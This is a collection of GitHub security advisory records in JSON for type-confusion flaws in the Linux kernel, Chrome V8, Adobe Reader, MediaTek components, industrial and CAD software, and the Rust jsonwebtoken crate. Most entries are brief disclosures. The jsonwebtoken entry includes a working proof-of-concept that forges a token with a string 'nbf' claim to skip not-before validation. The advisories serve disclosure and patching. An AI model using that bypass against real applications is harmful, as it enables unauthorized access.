CWE-843

{
  "affected": [],
  "aliases": [
    "CVE-2023-1077"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-27T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, pick_next_rt_entity() may return a type confused entry, not detected by the BUG_ON condition, as the confused entry will not be NULL, but list_head.The buggy error condition would lead to a type confused entry with the list head,which would then be used as a type confused sched_rt_entity,causing memory corruption.",
  "id": "GHSA-gqqh-295f-w7wc",
  "modified": "2023-04-03T21:32:47Z",
  "published": "2023-03-27T21:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1077"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git/commit/?id=7c4a5b89a0b5a57a64b601775b296abf77a9fe97"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00005.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/01/msg00004.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20230511-0002"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-8169"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-17T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "Adobe Acrobat and Reader versions , 2019.012.20040 and earlier, 2017.011.30148 and earlier, 2017.011.30148 and earlier, 2015.006.30503 and earlier, and 2015.006.30503 and earlier have a type confusion vulnerability. Successful exploitation could lead to arbitrary code execution .",
  "id": "GHSA-gqw7-qw4r-9w8v",
  "modified": "2022-05-24T16:59:20Z",
  "published": "2022-05-24T16:59:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-8169"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/acrobat/apsb19-49.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-2022"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-11T21:15:53Z",
    "severity": "HIGH"
  },
  "details": "Ashlar-Vellum Cobalt VS File Parsing Type Confusion Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Ashlar-Vellum Cobalt. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of VS files. The issue results from the lack of proper validation of user-supplied data, which can result in a type confusion condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-25276.",
  "id": "GHSA-grfv-8m4f-679x",
  "modified": "2025-03-11T21:30:42Z",
  "published": "2025-03-11T21:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2022"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-25-126"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-20508"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-07T02:17:19Z",
    "severity": "MODERATE"
  },
  "details": "In Power HAL, there is a possible escalation of privilege due to type confusion. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS11165543; Issue ID: MSV-9012.",
  "id": "GHSA-gw7m-ccvc-2982",
  "modified": "2026-09-07T12:30:27Z",
  "published": "2026-09-07T03:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20508"
    },
    {
      "type": "WEB",
      "url": "https://www.mediatek.com/product-security-bulletin/September-2026"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-78956"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T21:17:51Z",
    "severity": "HIGH"
  },
  "details": "Type confusion in V8 in Google Chrome prior to 152.0.7977.65 allowed a remote attacker leveraging social engineering to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)",
  "id": "GHSA-gwmp-jh84-7g48",
  "modified": "2026-08-26T18:31:37Z",
  "published": "2026-08-25T21:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78956"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/08/stable-channel-update-for-desktop_0256176589.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/520016142"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-20451"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-04T07:15:59Z",
    "severity": "MODERATE"
  },
  "details": "In slbc, there is a possible out of bounds write due to type confusion. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10828685; Issue ID: MSV-6504.",
  "id": "GHSA-gx35-9jr2-9663",
  "modified": "2026-05-04T15:31:13Z",
  "published": "2026-05-04T09:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20451"
    },
    {
      "type": "WEB",
      "url": "https://corp.mediatek.com/product-security-bulletin/May-2026"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-2971"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-23T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "MZ Automation\u0027s libIEC61850 (versions 1.4 and prior; version 1.5 prior to commit a3b04b7bc4872a5a39e5de3fdc5fbde52c09e10e) accesses a resource using an incompatible type, which could allow an attacker to crash the server with a malicious payload.",
  "id": "GHSA-gxrc-qj6f-5vph",
  "modified": "2022-09-27T00:00:15Z",
  "published": "2022-09-25T00:00:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2971"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-251-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-32063"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-14T16:16:59Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in PS/IGES Parasolid Translator Component (All versions \u003c V27.1.215). The affected application contains a type confusion vulnerability while parsing IGS files. This could allow an attacker to execute code in the context of the current process. (ZDI-CAN-21573)",
  "id": "GHSA-h29m-97rm-p2v7",
  "modified": "2024-07-09T12:30:55Z",
  "published": "2024-05-14T18:31:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32063"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-064222.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-976324.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "jsonwebtoken"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25537"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-03T18:47:40Z",
    "nvd_published_at": "2026-02-04T22:15:59Z",
    "severity": "MODERATE"
  },
  "details": "## Summary:\n\nIt has been discovered that there is a Type Confusion vulnerability in jsonwebtoken, specifically, in its claim validation logic.\n\nWhen a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a String instead of a Number), the library\u2019s internal parsing mechanism marks the claim as \u201cFailedToParse\u201d. Crucially, the validation logic treats this \u201cFailedToParse\u201d state identically to \u201cNotPresent\u201d.\n\nThis means that if a check is enabled (like: validate_nbf = true), but the claim is not explicitly marked as required in required_spec_claims, the library will skip the validation check entirely for the malformed claim, treating it as if it were not there. This allows attackers to bypass critical time-based security restrictions (like \u201cNot Before\u201d checks) and commit potential authentication and authorization bypasses.\n\n## Details:\n\nThe vulnerability stems from the interaction between the TryParse enum and the validate function in [src/validation.rs](https://github.com/Keats/jsonwebtoken/blob/master/src/validation.rs).\n\n 1. The TryParse Enum: The library uses a custom TryParse enum to handle claim deserialization:\n```\nenum TryParse\u003cT\u003e {\n    Parsed(T),\n    FailedToParse, // Set when deserialization fails (e.g. type mismatch)\n    NotPresent,\n}\n```\nIf a user sends {\u201cnbf\u201d: \u201c99999999999\u201d} (legacy/string format), serde fails to parse it as u64, and it results in TryParse::FailedToParse.\n\n 1. The Validation Logic Flaw (src/validation.rs): In Validation::validate, the code checks for exp and nbf\nlike this:\n```\n// L288-291\nif matches!(claims.nbf, TryParse::Parsed(nbf) if options.validate_nbf \u0026\u0026 nbf \u003e now + options.leeway) {\n    return Err(new_error(ErrorKind::ImmatureSignature));\n}\n```\nThis matches! macro explicitly looks for TryParse::Parsed(nbf).\n\n \u2022 If claims.nbf is FailedToParse, the match returns false.\n \u2022 The if block is skipped.\n \u2022 No error is returned.\n 1. The \u201cRequired Claims\u201d Gap: The only fallback mechanism is the \u201cRequired Claims\u201d check:\n```\n// Lines 259-267\nfor required_claim in \u0026options.required_spec_claims {\n    let present = match required_claim.as_str() {\n        \"nbf\" =\u003e matches!(claims.nbf, TryParse::Parsed(_)),\n        // ...\n    };\n    if !present { return Err(...); }\n}\n```\nIf \u201cnbf\u201d IS in required_spec_claims, FailedToParse will fail the matches!(..., Parsed(_)) check, causing the present to be false, and correctly returning an error.\n\nHowever, widely accepted usage patterns often enable validation flags (validate_nbf = true) without adding the claim to the required list, assuming that enabling validation implicitly requires the claim\u2019s validity if it appears in the token. jsonwebtoken seems to violate this assumption.\n\nEnvironment:\n\n \u2022 Version: jsonwebtoken 10.2.0\n \u2022 Rust Version: rustc 1.90.0\n \u2022 Cargo Version: cargo 1.90.0\n \u2022 OS: MacOS Tahoe 26.2\n\nPOC:\n\nFor demonstrating, Here is this simple rust code that demonstrates the bypass. It attempts to validate a token with a string nbf claiming to be valid only in the far future.\n\ncreate a new project:\n```\ncargo new nbf_poc; cd nbf_poc\n```\nadd required dependencies:\n```\ncargo add serde --features derive\ncargo add jsonwebtoken --features rust_crypto\ncargo add serde_json\n```\nreplace the code in src/main.rs with this:\n\n```\nuse jsonwebtoken::{decode, Validation, Algorithm, DecodingKey, Header, EncodingKey, encode};\nuse serde::{Deserialize, Serialize};\n\n#[derive(Debug, Serialize, Deserialize)]\nstruct Claims {\n    sub: String,\n    nbf: String, // Attacker sends nbf as a String\n    exp: usize,\n}\nfn main() {\n    let key: \u0026[u8; 24] = b\"RedMouseOverTheSkyIsBlue\";\n\n    // nbf is a String \"99999999999\" (Far future)\n    // Real nbf should be a Number.\n    let my_claims: Claims = Claims {\n        sub: \"krishna\".to_string(),\n        nbf: \"99999999999\".to_string(), \n        exp: 10000000000, \n    };\n\n    let token: String = encode(\u0026Header::default(), \u0026my_claims, \u0026EncodingKey::from_secret(key)).unwrap();\n    println!(\"Forged Token: {}\", token);\n\n    // 2. Configure Validation\n    let mut validation: Validation = Validation::new(Algorithm::HS256);\n    validation.validate_nbf = true; // Enable NBF check\n\n    // We do NOT add \"nbf\" to required_spec_claims (default behavior)\n\n    // We decode to serde_json::Value to avoid strict type errors in our struct definition hiding the library bug.\n    // The library sees the raw JSON with string \"nbf\".\n    let result: Result\u003cjsonwebtoken::TokenData\u003cserde_json::Value\u003e, jsonwebtoken::errors::Error\u003e = decode::\u003cserde_json::Value\u003e(\n        \u0026token, \n        \u0026DecodingKey::from_secret(key), \n        \u0026validation\n    );\n\n    match result {\n        Ok(_) =\u003e println!(\"Token was accepted despite malformed far-future \u0027nbf\u0027!\"),\n        Err(e) =\u003e println!(\"Token rejected. Error: {:?}\", e),\n    }\n}\n```\nrun cargo run\n\nexpected behaviour:\n\n```\nForged Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJrcmlzaG5hIiwibmJmIjoiOTk5OTk5OTk5OTkiLCJleHAiOjEwMDAwMDAwMDAwfQ.Fm3kZIqMwqIA6sEA1w52UOMqqnu4hlO3FQStFmbaOwk\n```\nToken was accepted despite malformed far-future \u0027nbf\u0027!\nImpact:\n\nIf an application uses jsonwebtoken nbf (Not Before) to schedule access for the future (like \u201cAccess granted starting tomorrow\u201d).\n\nBy sending nbf as a string, an attacker can bypass this restriction and access the resource immediately.\n\nand for the exp claim (this is unlikely but still adding), If a developer sets validate_exp = true but manually handles claim presence (removing exp from required_spec_claims), an attacker can send a string exp (e.g., \u201cnever\u201d) and bypass expiration checks entirely. The token becomes valid forever.",
  "id": "GHSA-h395-gr6q-cpjc",
  "modified": "2026-02-05T00:34:49Z",
  "published": "2026-02-03T18:47:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Keats/jsonwebtoken/security/advisories/GHSA-h395-gr6q-cpjc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25537"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Keats/jsonwebtoken/commit/abbc3076742c4161347bc6b8bf4aa5eb86e1dc01"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Keats/jsonwebtoken"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jsonwebtoken has Type Confusion that leads to potential authorization bypass"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-30598"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-26T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "Type confusion in V8 in Google Chrome prior to 92.0.4515.159 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.",
  "id": "GHSA-h5pj-v47c-6vc7",
  "modified": "2022-05-24T19:12:15Z",
  "published": "2022-05-24T19:12:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-30598"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2021/08/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://crbug.com/1234764"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5LVY4WIWTVVYKQMROJJS365TZBKEARCF"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IPJPUSAWIJMQFBQQQYXAICLI4EKFQOH6"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QW4R2K5HVJ4R6XDZYOJCCFPIN2XHNS3L"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}